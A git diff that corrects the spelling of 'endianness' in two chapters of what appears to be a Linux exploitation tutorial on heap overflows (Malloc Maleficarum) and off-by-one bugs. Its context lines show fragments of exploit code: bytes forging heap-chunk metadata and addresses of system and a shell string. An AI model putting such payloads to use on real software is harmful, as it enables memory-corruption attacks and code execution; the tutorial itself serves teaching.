diff --git a/chapter3/heap-overflow-uisng-malloc-maleficarum.md b/chapter3/heap-overflow-uisng-malloc-maleficarum.md index 43155f8..e0d7c14 100644 --- a/chapter3/heap-overflow-uisng-malloc-maleficarum.md +++ b/chapter3/heap-overflow-uisng-malloc-maleficarum.md @@ -100,7 +100,7 @@ char scode[] = char ret_str[4] = "\x00\x00\x00\x00"; -void convert_endianess(int arg) +void convert_endianness(int arg) { int i=0; ret_str[3] = (arg & 0xFF000000) >> 24; @@ -123,7 +123,7 @@ int main() { fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */ for(i=0;i<127;i++) { - convert_endianess(BIN1+(i*8)); + convert_endianness(BIN1+(i*8)); if(i == 119) { fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */ fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */ diff --git a/chapter3/linux-x86-off-by-one.md b/chapter3/linux-x86-off-by-one.md index 50f2ba8..e8ef414 100644 --- a/chapter3/linux-x86-off-by-one.md +++ b/chapter3/linux-x86-off-by-one.md @@ -201,7 +201,7 @@ bk_nextsize = 0x804b430 system = 0x4e0a86e0 sh = 0x80482ce -#endianess convertion +#endianness convertion def conv(num): return struct.pack("